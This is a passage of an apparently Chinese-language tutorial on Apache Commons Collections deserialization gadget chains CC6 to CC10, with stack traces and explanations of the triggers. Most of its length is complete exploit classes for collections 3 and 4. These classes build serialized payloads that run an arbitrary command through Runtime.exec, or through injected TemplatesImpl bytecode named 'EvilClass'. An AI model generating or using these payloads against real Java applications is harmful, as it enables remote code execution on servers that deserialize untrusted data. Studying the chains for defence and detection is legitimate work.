1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } }
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections6 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (outerMap, Runtime.class); Map triggerMap = new HashMap (); triggerMap.put(entry, "foo" ); outerMap.clear(); setFieldValue(transformerChain, "iTransformers" , transformers); return triggerMap; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections6 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (outerMap, Runtime.class); Map triggerMap = new HashMap (); triggerMap.put(entry, "foo" ); outerMap.clear(); setFieldValue(transformerChain, "iTransformers" , transformers); return triggerMap; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
需要注意的是 HashMap 的 put 方法同样对 key 调用 hash 方法,进而调用 key 的 hashCode 方法。
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
因此在 poc 中当我们 triggerMap.put(entry, "123") 时会调用 TiedMapEntry#hashCode 从而调用 LazyMap#get,使得 TiedMapEntry#key 已经放到 TiedMapEntry#map(LazyMap)中了,因此会导致后续反序列化虽然调用到 LazyMap#get,但是调用不到 transform 方法。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
解决方法是调用 LazyMap#clear 清空 LazyMap 。
CC7 1 2 3 4 5 6 at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at java.util.AbstractMap.equals(AbstractMap.java:469) at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:130) at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221) at java.util.Hashtable.readObject(Hashtable.java:1195)
原理分析(Hashtable→LazyMap) Hashtable 的 readObject 调用 reconstitutionPut 函数将反序列化出的键值对存储到哈希表 table 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); reconstitutionPut(table, key, value); } }
reconstitutionPut 函数先对传入的 key 调用 hashCode 方法得到哈希值,然后计算出哈希值对应哈希表的下标 index。在哈希表 tab 中遍历 index 对应的那一项中的每一个元素 e,然后判断该元素的哈希值与当前要添加的那一项的哈希值是否相等。如果哈希值相等 则调用 e.key.equals 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index]; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>) tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
对于 HashMap 和 LazyMap 有如下继承关系:
可以看到,HashMap 继承于 AbstraceMap,LazyMap 继承于 AbstractMapDecorator。
因此如果 HashTable 中的 key 都是 LazyMap 修饰的 HashMap 那么 e.key.equals 调用的是 LazyMap#equals → AbstractMapDecorator#equals。
然后 AbstractMapDecorator#equals 调用的是 HashMap#equals → AbstractMap#equals。
1 2 3 4 5 6 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
AbstractMap#equals 会将传入参与比较的 LazyMap 与自身进行比较。比较过程中为了判断包含的键值对是否相同,会调用 LazyMap 参数的 LazyMap#get 进而触发 transform 方法调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
根据前面的分析可知我们可以在 Hashtable 放两个键值对满足两个键哈希值相同但不是同一个的 LazyMap 对像。而 LazyMap 的哈希值实际上就是 Map 中所有「键和值的哈希的异或值」之和。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static int hashCode (Object o) { return o != null ? o.hashCode() : 0 ; } public final int hashCode () { return Objects.hashCode(key) ^ Objects.hashCode(value); } public int hashCode () { int h = 0 ; Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) h += i.next().hashCode(); return h; } public int hashCode () { return map.hashCode(); } key.hashCode();
我们不妨让键值对中的值相等,那么就只需要考虑找哈希相等且值不同的键。
我们选择 java.lang.String 类型的键,这个类型的 hashCode 实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
我们很容易就想到可以构造长度为 2 的字符串,然后通过前一个字符的 ascii 码加 1 然后后一个字符的 ascii 码减 31 抵消前一个字符的影响来得到两个哈希相同的字符串(例如 Aa→[65,97]→[65+1,97-31]→[66,66]→BB)。
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new Transformer []{new ConstantTransformer (1 )}); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain); Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain); outerMap1.put("Aa" , null ); outerMap2.put("BB" , null ); Hashtable hashtable = new Hashtable (); hashtable.put(outerMap1, 1 ); hashtable.put(outerMap2, 1 ); outerMap2.remove("Aa" ); setFieldValue(transformerChain, "iTransformers" , transformers); return hashtable; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static Object getObject (String cmd) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{cmd}), }; Transformer transformerChain = new ChainedTransformer (new ConstantTransformer (1 )); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map outerMap1 = LazyMap.lazyMap(innerMap1, transformerChain); Map outerMap2 = LazyMap.lazyMap(innerMap2, transformerChain); outerMap1.put("Aa" , null ); outerMap2.put("BB" , null ); Hashtable hashtable = new Hashtable (); hashtable.put(outerMap1, 1 ); hashtable.put(outerMap2, 1 ); outerMap2.remove("Aa" ); setFieldValue(transformerChain, "iTransformers" , transformers); return hashtable; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
由于 Hashtable#put 也会调用 entry.key.equals 方法导致利用链被触发一次,因此需要将调用 LazyMap#get 时加入的 key 去掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null ; }
另外 Hashtable#put 调用的 entry.key.equals 需要返回 false 才能把第二个键值对放入 Hashtable。在 AbstraceMap#equals 中,如果 value 为 null 的话只需要让 m.get(key) 返回不为 null 即可。而 transformer 方法返回不为 null 很容易满足。
1 2 3 4 5 6 7 8 9 10 Entry<K,V> e = i.next(); K key = e.getKey();V value = e.getValue();if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; }
CC8 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32) at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81) at java.util.TreeMap.compare(TreeMap.java:1291) at java.util.TreeMap.put(TreeMap.java:538) at org.apache.commons.collections4.bag.AbstractMapBag.doReadObject(AbstractMapBag.java:524) at org.apache.commons.collections4.bag.TreeBag.readObject(TreeBag.java:129)
本质就是 CC2(CC4),只不过把 PriorityQueue 换成了 TreeBag。
利用代码(CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.bag.TreeBag;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class CommonsCollections8 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); TransformingComparator comparator = new TransformingComparator (new ConstantTransformer (0 )); TreeBag tree = new TreeBag (comparator); tree.add(TrAXFilter.class); setFieldValue(comparator, "transformer" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return tree; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC9 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:106) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121) at java.util.Hashtable.reconstitutionPut(Hashtable.java:1218) at java.util.Hashtable.readObject(Hashtable.java:1195)
原理分析(HashTable→TiedMapEntry→LazyMap) 在 CC6 的基础上把 HashMap 替换为 HashTable。
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections9 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); Hashtable table = new Hashtable (); table.put(entry, "foo" ); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return table; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.keyvalue.TiedMapEntry;import org.apache.commons.collections4.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections9 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); Hashtable table = new Hashtable (); table.put(entry, "foo" ); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return table; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
CC10 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.lang.reflect.Constructor.newInstance(Constructor.java:422) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116) at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32) at org.apache.commons.collections4.map.LazyMap.get(LazyMap.java:165) at org.apache.commons.collections4.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73) at org.apache.commons.collections4.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:122) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.put(HashMap.java:611) at java.util.HashSet.readObject(HashSet.java:334)
原理分析(HashSet→TiedMapEntry→LazyMap) 在 CC6 的基础上把 HashMap 替换为 HashSet。
利用代码(CC3/CC4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.util.*;import java.lang.reflect.Field;public class CommonsCollections10 { public static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer (1 )); TiedMapEntry entry = new TiedMapEntry (outerMap, TrAXFilter.class); HashSet set = new HashSet (); set.add(entry); outerMap.clear(); setFieldValue(outerMap, "factory" , new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates})); return set; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
